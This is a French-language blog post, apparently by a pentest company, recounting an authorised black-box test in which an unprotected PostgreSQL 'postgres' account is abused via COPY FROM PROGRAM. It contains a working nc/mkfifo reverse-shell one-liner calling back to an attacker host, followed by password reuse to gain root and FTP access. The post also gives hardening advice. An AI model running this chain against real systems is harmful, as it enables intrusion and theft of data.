Anecdote cybersécurité #1: Obtenir le contrôle d'une machine grâce à PostgreSQL !

Il était une fois, une entreprise, venant solliciter KanOps pour effectuer une analyse des risques cybersécurité de son infrastructure contre les menaces et intrusions. Le périmètre défini, avec le client, était celui-ci:

• Le pentest doit s’effectuer en mode BlackBox sans avoir aucun accès à son infrastructure.
• Les tests seront réalisés uniquement sur une liste d’adresses IPs publiques.
• On a carte blanche sur les types d’attaques possibles vers l’infrastructure.
• Le temps d’attaque ne doit pas excéder une heure.

💡 Les pentests dit “Blackbox” sont nommés ainsi car, avant les tests, nous n’avons aucune connaissance de ce qu’il y a comme services derrière les IP. De plus, aucun compte ni accès nous on était fourni.

1. Identification de la cible / des services

On lance donc nos divers outils de scans, dont l’incontournable nmap. Avec cette commande nous pouvons récupérer un certain nombre d’informations sur la cible:

Copiernnmap -O -sT -sV --min-rate 5000 -Pn <ip_cible>

On arrives à obtenir un certain nombre d’informations sur les services exposés. Mais une IP en particulière nous interpelle, cette IP expose un serveur PostgreSQL, qui peut directement être accéder sans mot de passe pour l’utilisateur avec le plus de droits !

💡 Par défaut, pour PostgreSQL l’utilisateur avec le plus de droits est postgres si on ne le modifie pas.

Déjà, ici nous apercevons deux mauvaises configurations:

• ⭐️ Sur un serveur Postgresql on peut limiter les adresses IP qui peuvent accéder au serveur dans le fichier pg_hba.conf
• ⭐️ Il est quand même conseillé (voire nécessaire) de renseigner un mot de passe pour l’utilisateur avec le plus de droits sur le serveur ! Ici un exemple de requête:

  CopierALTER USER postgres WITH ENCRYPTED PASSWORD 'new_password';
  

2. Premier accès et recherche d’informations

💡 À partir de ce stade, les étapes suivantes ne sont pas légales. Ici, un contrat lie KanOps avec l’entreprise nous permettant d’agir en toute légalité et sans impacter le métier de notre client. Le fait de maintenir un accès sur un système d’information sans autorisation est puni par la loi.

Voyant ceci, nous tentons un accès à ce serveur de base de données avec l’utilisateur postgres:

On établit donc une première connexion vers le serveur Postgresql:

Copierpsql -h <ip> -U postgres

Et là, l’accès était bel est bien possible !

On arrive sur ce serveur, premier réflexe, on liste les bases présentes. On aperçois uniquement une base de données (mise à part les bases template et la base postgres) contenant des informations d’un site web. En fouillant dans cette base j’arrive à obtenir un pseudo ainsi que des hashs de mot de passe.

💡 Ici, un bon réflexe, les mots de passe stockés dans la base de données étaient hashés.

On mets ces informations sur le côté, dans nos notes et continues donc nos investigations…

3. Obtention d’un shell sur le serveur

Ok, c’est bien d’avoir un accès… d’avoir la possibilité de créer, modifier ou supprimer des données. Mais, on va aller plus loin, en obtenant encore plus de droits sur le serveur !

💡 Sur Postgresql, si l’utilisateur a les droits il peut directement exécuter des commandes dans un shell sur la machine hôte. Pour cela il faut que l’utilisateur possède la permission pg_execute_server_program. Pour cela, cette commande permet de donner les droits si nécessaire:

CopierGRANT pg_execute_server_program TO 'postgres';

On est prêt à lancer notre commande pour obtenir notre reverse shell !

On lance donc une commande sur un de nos serveurs C2C permettant d’écouter sur le port 4444 et d’attendre une connexion TCP (par défaut):

Copiernc -lvnp 4444

💡 Avoir un serveur C2C ici possède plusieurs avantages (héberge des outils de pentester, automatisation de certains scans,…) mais aussi cela nous permet de fournir à notre client l’adresse IP qui va générer des attaques.

On se connecte à la cible avec le client psql, puis on exécute ces commandes permettant d’obtenir notre reverse shell:

CopierDROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {LHOST} {LPORT} >/tmp/f';

• LHOST = L’addresse IP de notre serveur C2C
• LPORT = Le port d’écoute côté serveur C2C, ici 4444

Puis une fois la table créer, juste à lancer la commande suivante pour aller sélectionner le contenu de la table et au même moment exécuter la commande:

CopierSELECT * FROM cmd_exec;

À partir de là, un premier reverse shell obtenu en tant qu’utilisateur postgres.

4. Analyse du serveur / Footprinting

Un premier shell obtenu 👨🏽‍💻! Une fois un premier accès avec l’utilisateur postgres effectué, la prochaine étape est donc l’augmentation de nos privilèges et ainsi prendre le contrôle total du serveur.

On commence donc par lister les répertoires et fichiers auxquels on a accès qui peuvent nous donner des informations intéressantes. Comme:

Copier/etc/passwd # Permet d'afficher les users linux existants
/etc/group # Permet d'afficher les groupes linux existants
/etc/init.d/ # Dossier contenant les services sytèmes
/home/* # Permet de voir si des dossiers utilisateurs existent
/var/www/ # Car ici un site web était installé

Et là, dans le répertoire /home, on trouve un sous-répertoire /home/<pseudo> qui contient un fichier caché. Ce fichier contenait des variables d’environnement pour un site web, permettant au site d’accéder à la base de données.

💡 Malgré que le fichier soit caché, cela ne suffit pas pour obfusquer du contenu. Sur Linux pour faire apparaître les fichiers cachés, on peut utiliser:

Copierls -la

Et une nouvelle fois un utilisateur et un mot de passe récupérer ! Et là, on s’aperçoit que l’identifiant dans le fichier correspondait à un utilisateur Linux, on essaie donc de se connecter avec cet utilisateur sur notre reverse shell:

Copiersu - <pseudo>

Et réussi !

⚠️ La personne a utilisé les mêmes accès pour sa base de données que pour un utilisateur Linux, encore une mauvaise habitude ! Surtout choisissez toujours, même que vous soyez en environnement de dev, au minimum un mot de passe par service !

Et là, vu que le mot de passe à l’air d’être souvent réutilisé, on peut donc tenter de voir si le mot de passe peut être réutilisé. Et donc, directement on essaie avec l’utilisateur root:

Copiersu - root

On renseigne le mot de passe récupéré dans le fichier de configuration précédent. Et encore réussi, nous sommes root ! 🧙🏻‍♂️

💡 La commande id sous Linux permet de récupérer les informations pour l’utilisateur actuel.

Mais aussi de plus, on récupère les différents disques montés:

Copierfdisk -l

Puis on vérife les différents montages présents:

Copierdf -h

On s’aperçois qu’un disque dur est rattaché à sa machine, accessible via le chemin /mnt, en lecture-écriture pour mon utilisateur postgres et contenant beaucoup, beaucoup de données personnelles d’un des employés.

⚠️ Et là encore, attention ! Il faut éviter d’utiliser son matériel personnel sur son lieu de travail.

⚠️ Arrivée à ce stade, une personne avec des mauvaises intentions pourrait exploiter ces données contre la personne. Beaucoup de conséquences sont à prendre en considération ici, c’est un particulier, un dev qui fait ses quelques tests.. Il est important de garder son éthique, car on ne connaît pas qui est la personne et comment elle pourrait réagir.

5. Déplacement latéral

Ayant obtenu l’accès root à une machine Linux, connecté au réseau du client, on en profite pour vérifier si on peut pivoter depuis cette machine et voir si d’autres machines sont connectées sur le même sous-réseau local.

On récupère donc l’adresse IP privée de la machine:

Copierifconfig

Comme la machine est connectée à Internet, on peut aisément installer et télécharger des paquets et binaires. On télécharge donc le paquet nmap et lance cette commande pour scanner la plage d’IP privée et ainsi découvrir si d’autres machines sont sur le réseau:

Copiernmap -oN /tmp/nmap_scan.txt 192.168.0.0/24

On retrouve plusieurs machines Windows, Ubuntu utilisés par les employés. Mais aussi, un serveur en particulier qui expose le port 21, qui correspond au port par défaut d’un service ftp. 🗂️

Même manipulation, on essaie de se connecter sur le serveur FTP avec les accès précédent. Et directement on obtient encore une fois un accès sur ce FTP. On pouvait y retrouver des documents partagés entre toutes les équipes de l’entreprise, des accès, des mots de passe pour divers providers, services… bref une vraie mine d’or pour quelqu’un de mal attentionné.

⭐️ Il est important de segmenter les accès aux répertoires partagés, avec un certains niveau de droits bien définis selon la fonction de l’employé au sein de l’entreprise. N’hésitez pas à contacter un de nos experts SecOps pour vous conseillez sur les bonne pratiques à adopter !

6. Fin

Le résultat de nos tests étant plus que concluant, à peine les tests finis que le client a directement été averti. Nous avons corrigé ensemble, avec le client, les diverses failles. Puis, nous l’avons également conseillé sur quelques pratiques à adopter pour échanger en toute sécurité avec ses collaborateurs !

Dans cet article, plusieurs points essentiels sont à retenir:

• Pour la sécurité d’un entreprise, il est important de limiter et maîtriser les périphériques qui peuvent se connecter au réseau.
• Il faut impérativement limiter les accès d’administration des pare-feu/routeurs.
• Plus génériquement, ne pas utiliser le même mot de passe pour plusieurs comptes et services.
• Si vous êtes conscients qu’un risque cyber peut entraver à votre entreprise, contactez des professionnels SecOps dès maintenant